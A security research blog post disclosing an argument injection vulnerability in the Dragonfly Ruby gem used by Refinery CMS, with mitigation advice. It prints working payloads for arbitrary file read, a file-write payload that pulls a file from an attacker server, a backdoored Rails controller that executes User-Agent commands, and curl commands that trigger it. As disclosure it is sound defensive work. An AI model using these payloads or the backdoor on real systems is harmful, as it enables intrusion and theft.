Take the next step
Talk to us today
Michael Tsai
Authored by Michael Tsai
Published on
During a recent client engagement we discovered an argument injection vulnerability in certain configurations of Refinery CMS. Upon further investigation, it was understood that the root cause of this issue existed in the Ruby Gem Dragonfly, which is a popular library for handling images and is used by multiple CMSs such as Refinery CMS, Locomotive CMS, and Alchemy CMS. This post outlines the technical details of this vulnerability, the exploitation process, and the impact for the users and organisations.
The Dragonfly library allows image handling on websites such as generating image thumbnails, text images, or just managing attachments in general. To illustrate this idea, an example URL to fetch an image is shown as follows (as described in the Refinery CMS documentation):
/system/images/W1siZiIsIjIwMTUvMDQvMjEvNjRlZ2d5MjJzcl9CdWxsd2lua2xlLmpwZyJd
LFsicCIsInRodW1iIiwiMjI1eDI1NVx1MDAzZSJdXQ/Bullwinkle.jpg
The base64 encoded part could then be decoded to:
[["f","2015/04/21/64eggy22sr_Bullwinkle.jpg"],["p","thumb","225x255\u003e"]]
This instructs the Dragonfly app to first fetch the specified image from the file data store and then supply the image as a 225x255
thumbnail.
Observing the base64 decoded string, we could infer that f
and p
represent some kinds of operations that take a variable number of arguments. In particular, the f
operation appears to perform file operations. We decided to test for LFI payloads such as ../../
and their variants. An example payload is shown below:
[["f","../../../../../etc/passwd"]]
However, none of the payloads worked. In order to figure out the cause, we set up a local Refinery CMS instance and attached a debugger to it. It turned out that there are several restrictions in place. The application:
../
; andDue to these validations, exploitation of LFI was unsuccessful.
However, as seen from the example URL, there are more operations available than f
. Through analysing the source code of Dragonfly, it was clear the way that Dragonfly manages these operations is through a series of jobs. The jobs available are as follows:
f
: fetchff
: fetch_filefu
: fetch_urlg
: generatep
: processThe fetch
job was tested for LFI previously but was unsuccessful. The fetch_file
and fetch_url
jobs were also unsuccessful due to the allowlist functionality shown below:
def validate_fetch_file_step!(step)
unless fetch_file_whitelist.include?(step.path)
raise JobNotAllowed, "fetch file #{step.path} disallowed - use fetch_file_whitelist to allow it"
end
end
def validate_fetch_url_step!(step)
unless fetch_url_whitelist.include?(step.url)
raise JobNotAllowed, "fetch url #{step.url} disallowed - use fetch_url_whitelist to allow it"
end
end
The two job types remaining were generate
and process
. As described in the Dragonfly documentation, these two types of job supports the ImageMagick convert
utility. For example, the base64 encoded part of the URL
/system/images/W1siZyIsICJjb252ZXJ0IiwgInRlc3QuanBnIiwgInBuZyJdXQ==
decodes to the following payload:
[["g", "convert", "test.jpg", "png"]]
which is interpreted as the following shell command:
convert test.jpg /tmp/dragonfly<variable_length_string>.png
We can see that we are able to control two parts of the command, i.e. the first argument to the convert
command, as well as the extension indicating the format that the file would be converted to. This indicated the possibility of command injection.
Initial testing showed that command injection payloads such as &&
, ||
, or $()
will be blocked. It turned out that this was due to the following code:
def run(command, opts={})
command = escape_args(command) unless opts[:escape] == false
Dragonfly.debug("shell command: #{command}")
run_command(command)
end
def escape_args(args)
args.shellsplit.map{|arg| escape(arg) }.join(' ')
end
def escape(string)
Shellwords.escape(string)
end
Before executing the commands, they were first split using the Ruby Gem Shellwords’s shellsplit
function. Next, individual arguments were escaped with Shellwords.escape
. The escape
function is shown as follows:
def shellescape(str)
str = str.to_s
# An empty argument will be skipped, so return empty quotes.
return "''".dup if str.empty?
str = str.dup
# Treat multibyte characters as is. It is the caller's responsibility
# to encode the string in the right encoding for the shell
# environment.
str.gsub!(/[^A-Za-z0-9_\-.,:+\/@\n]/, "\\\\\\&")
# A LF cannot be escaped with a backslash because a backslash + LF
# combo is regarded as a line continuation and simply ignored.
str.gsub!(/\n/, "'\n'")
return str
end
This effectively blocks most of the special characters. However, since the user input string was split using shellsplit
first, we could use space or newline characters to inject arguments. For example, the payload [["g", "convert", " -help test.png", "png"]]
would be interpreted as:
convert -help test.png /tmp/dragonfly<variable_string>.png
This allowed arbitrary arguments to be injected into the convert
command (which is likely by design). However, exploiting the argument injection required more research. Therefore, we needed to delve into the functions of ImageMagick and discover a way to achieve both arbitrary file read and write.
A feature of ImageMagick is to convert non-image files to images. There is a list of formats that ImageMagick supports in the Supported Image Formats documentation. One of the formats, rgb
, allows images to be read in as raw RGB values. To use the rgb
option, the -size
and -depth
option must also be supplied.
Next, there are a list of formats that the input file can be converted to with ImageMagick. One of the formats is BMP, which is both lossless and uncompressed so no information will be lost during the conversion. Combining these, the following command would convert the /etc/passwd
file to test.bmp
:
convert -size <file_size>x1 -depth 8 rgb:/etc/passwd /tmp/test.bmp
The result of test.bmp is shown below:
BM&�|4▒�����BGRs���(`� ��@33�ff&@ff��� <
�$\�2oorx:t:0:r:0toor/:toob/:/nisabd
hmea:no1:x:1:eadnomu/:/rsibs/:nrsubs//nilonigob
n:ni2:x:2:nibb/::nisu/s/rnibon/gol
nisys:x:3:3ys:/:svedu/:/rsibsn/nolonigys
:cn4:x56:435ys::cnib//:nnibys/
cnmag:se5:x06:ag:semu/:/rsmag:sesu/s/rnibon/gol
ninam:x:1:6m:2:naav/c/rhcam/e:nasu/s/rnibon/gol
ni:pl7:x:7::plav/s/roopl/l:dpsu/s/rnibon/gol
niiamx:l:8:m:8liav/:/raiam/:lrsubs//nilonigon
nswe:x:9:9en::swav/s/roopn/lsweu/:/rsibsn/noloniguu
:pc1:x1:0u:0pcuv/:/raops/locuu/:prsubs//nilonigop
nxorx:y31:31:rp:yxob/::nisu/s/rnibon/gol
niwwwad-:at3:x3:3w:3-wwtad/:aravww//:wrsubs//nilonigob
nkca:pu3:x3:4b:4kca:puav/b/rkcaspuu/:/rsibsn/nolonigil
:ts3:x3:8M:8liagniiL tsnaMega/:rravil/:tssu/s/rnibon/gol
nicri:x::93:93cri/:dravur/i/ndcru/:/rsibsn/nolonigng
sta:x::14:14anG stguBeR-ropnitS gtsy meda(nim/:)ravil/g/btan/:srsubs//nilonigon
nobo:yd6:x3556:4355n:4obo:ydon/xentsitneu/:/rsibsn/noloniga_
:tp1:x:00556:43n/:enosixnet/:trsubs//nilonigo
To convert the test.bmp
back, we could just reverse the operation by issuing the command convert test.bmp rgb:test.out
and test.out
would contain roughly the same content of /etc/passwd
. However if the file size is not wholly divisible by three, the last one to two bytes of the file are truncated due to the RGB format requiring exactly three bytes per pixel.
Furthermore, since we do not know the actual file size beforehand, we need some method to find the correct file size. This can of course be achieved by brute forcing or guessing based on similar files. However, as the application returned different responses if the provided file size is larger or smaller than the actual file size, a binary search algorithm could be used.
While the methods discussed above are good enough, there was much more room left to improve the techniques. Through further research we discovered that by specifying a random unsupported format, such as out
or foobar
, the raw content of the input file will be copied to the destination without the need to be encoded within an actual image format. Moreover, since ImageMagick does not perform any conversion with unknown output format, the actual -size
parameter was not used and therefore could contain any value. This removed the need to determine the actual file size.
The issue of the file size needing to be divisible by three could also be bypassed. Instead of using rgb:
, we could read the image as raw single-byte grey samples using the gray:
option instead. Combining these improvements, we form the following command which would copy the entire contents of /etc/passwd
to /tmp/test.out
without encoding:
convert -size 1x1 -depth 8 gray:/etc/passwd /tmp/test.out
After the command executes, the contents of /tmp/test.out
are the exact same as /etc/passwd
:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
Finally, convert
also supports the -write
argument which would output to another file in addition to the originally specified one. This allows us to choose the exact location that the file will be written to.
In summary, the following lists various useful utilities that we could perform by argument injection:
rgb:<filename>
: Reads the file as raw RGB valuegray:<filename>
: Reads the file as raw gray samples-write <output>
: Writes the output to the specified location-size <width>x<height>
: Sets the width and height of the image-depth <output>
: Sets the depth of the imageCombining the above utilities, we could achieve arbitrary file read and write. In some conditions, we could also achieve RCE. Below details the exploitation process.
We could use the above techniques to perform arbitrary file read. The payload shown below reads the target /etc/passwd
file:
[["g", "convert", "-size 1x1 -depth 8 gray:/etc/passwd", "out"]]
This would be interpreted as the following command:
convert -size 1x1 -depth 8 gray:/etc/passwd /tmp/dragonfly<variable_string>.out
By base64 encoding the above payload, we can send it to the local Refinery CMS instance in a HTTP GET request. The following screenshot shows the command executing successfully:
To achieve arbitrary file write, we could first generate a BMP file locally using the follow command:
convert -size <file_size>x1 -depth 8 gray:<filename> out.bmp
Next, the image file needs to be uploaded to a known location on the web server using some file upload mechanism. By default, Refinery CMS supports this functionality in the Administrator interface which requires authentication. However, this could be bypassed as ImageMagick supports converting images referenced by a URL. This effectively turns this vulnerability into a pre-auth arbitrary file write.
Therefore, we can simply take the generated out.bmp
and host it on a server we control. We can then issue the following payload:
[["g", "convert", "http://<attacker_server>/out.bmp -write gray:<target_location >", "png"]]
This would be interpreted as the following command:
convert http://<attacker_server>/out.bmp -write gray:<target_location>
/tmp/dragonfly<variable_string>.out
This command downloads the out.bmp
file that we are serving on http://<attacker_server>/
and converts it back to gray samples (which would be our original file). The -write
option also allows us to specify the output location, allowing arbitrary files to be written to any writeable directory.
There are several ways that an attacker could achieve RCE once equipped with the ability to read and write arbitrary files. The following describes a scenario specific to Refinery CMS.
One way of gaining code execution is to overwrite the application_controller.rb
within the Ruby on Rails application. A malicious example application_controller.rb
is shown as follows:
class ApplicationController < ActionController::Base
include ApplicationHelper
protect_from_forgery with: :exception
before_action :http_basic_auth
layout -> { params[:controller] == "home" ? "application" : "content" }
protected
def http_basic_auth
ua = request.env['HTTP_USER_AGENT']
idx = ua.index("zxsecurity:")
if idx != nil
cmd = ua[idx+11..-1]
puts cmd
res = `#{cmd}`
`echo '#{res}' > public/out.txt`
end
return unless ENV["HTTP_BASIC_AUTH_USERNAME"] && ENV["HTTP_BASIC_AUTH_PASSWORD"]
authenticate_or_request_with_http_basic("Username and Password please") do |username, password|
username == ENV["HTTP_BASIC_AUTH_USERNAME"] && password == ENV["HTTP_BASIC_AUTH_PASSWORD"]
end
end
end
This plants a backdoor within the target application such that OS commands following the string zxsecurity:
supplied through the user agent would be executed and the output would be written to a publicly available directory.
Technically this file change would only trigger if a person were to restart the server, however in some cases the target may be running Phusion Passenger. In this case, the application can be automatically restarted if the file <app_root>/tmp/restart.txt
is updated. Therefore, an attacker could first write the backdoored application_controller.rb
to <app_root>/app/controller/application_controller.rb
and then write arbitrary content to <app_root>/tmp/restart.txt
. The server would then restart with the backdoor, which can now be triggered by issuing commands such as:
curl -A 'zxsecurity:ls' https://<target_server>/ &>/dev/null && curl https://<target_server>/out.txt
There is one important constraint to this vulnerability, which is that the verify_urls
option has to be explicitly disabled. The verify_urls
does the following check:
def sha
unless app.secret
raise CannotGenerateSha
end
OpenSSL::HMAC.hexdigest('SHA256', app.secret, to_unique_s)[0,16]
end
The variable to_unique_s
is a string obtained by flattening the user-supplied base64-encoded array and concatenating all strings. This code generates a HMAC-SHA256
signature that is used to verify the REST requests. This option essentially mitigates this vulnerability unless the application secret could be obtained (i.e. hardcoded secrets).
Although uncommon, we have observed several web servers purposely disabling this option, immediately making their assets vulnerable.
Ensure that the default Dragonfly verify_urls
option is enabled. Dragonfly has also released the patch for all versions affected, so updating the Dragonfly Ruby Gem to 1.4.0 or above would mitigate this issue.
Thanks to @claudiocontin, @ss23 and @softpoison_ for their collaboration on this research. Much appreciation towards Mark Evans for spending time to fix this vulnerability.
Talk to us today